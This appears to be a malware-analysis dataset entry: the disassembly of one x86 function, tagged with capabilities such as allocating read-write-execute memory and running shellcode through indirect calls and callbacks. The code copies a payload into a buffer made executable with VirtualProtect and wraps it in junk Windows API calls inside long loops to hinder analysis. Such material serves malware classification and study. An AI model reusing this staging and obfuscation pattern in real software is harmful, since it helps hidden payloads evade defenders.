Function at 0x4039ae
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803bd7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x20d4
call fcn.0040bde0
push ebx
push esi
xor esi, esi
cmp dword [0xc6ad9c], 0x5b1
push edi
jne 0x403a4e
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ec0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403d06
push esi
mov dword [esp + 0x20f0], esi
call fcn.0040489b
pop ecx
call fcn.00404839
lea ecx, [esp + 0x18]
call fcn.004035ec
lea ecx, [esp + 0x18]
call fcn.00403605
push esi
push esi
call reloc.KERNEL32.dll_GetCommandLineW
push esi
call fcn.00404b89
add esp, 0xc
push esi
call fcn.00404fd1
add dword [0xc6ad9c], 0x1134b
push dword [0xc6ad9c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push dword [0xc6ad9c]
mov dword [0xc43f3c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403aa6
inc edi
cmp edi, 0x4f6a4
jl 0x403a86
xor edi, edi
cmp dword [0xc6ad9c], esi
jbe 0x403b04
cmp dword [0xc6ad9c], 0xa8
mov eax, dword [0xc6b800]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc43f3c]
mov byte [ecx + edi], al
jne 0x403afb
push 0x402f10
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402f68
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0xc6ad9c]
jb 0x403ab0
xor edi, edi
mov eax, dword [0xc6ad9c]
add eax, edi
cmp eax, 0xe
jne 0x403b6a
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ef4
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x4e4]
push eax
push esi
push 0x402fc8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x403018
push 0x403110
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0xce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403b06
call fcn.00403897
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403b87
call fcn.00403994
inc edi
cmp edi, 0x6753f
jl 0x403b7a
push 0x7b
pop edi
cmp dword [0xc6ad9c], 0x86
jne 0x403bf8
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403148
push 0x4031a0
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x4031f4
push 0x403228
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x14e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403b93
push 0x403280
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x20e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret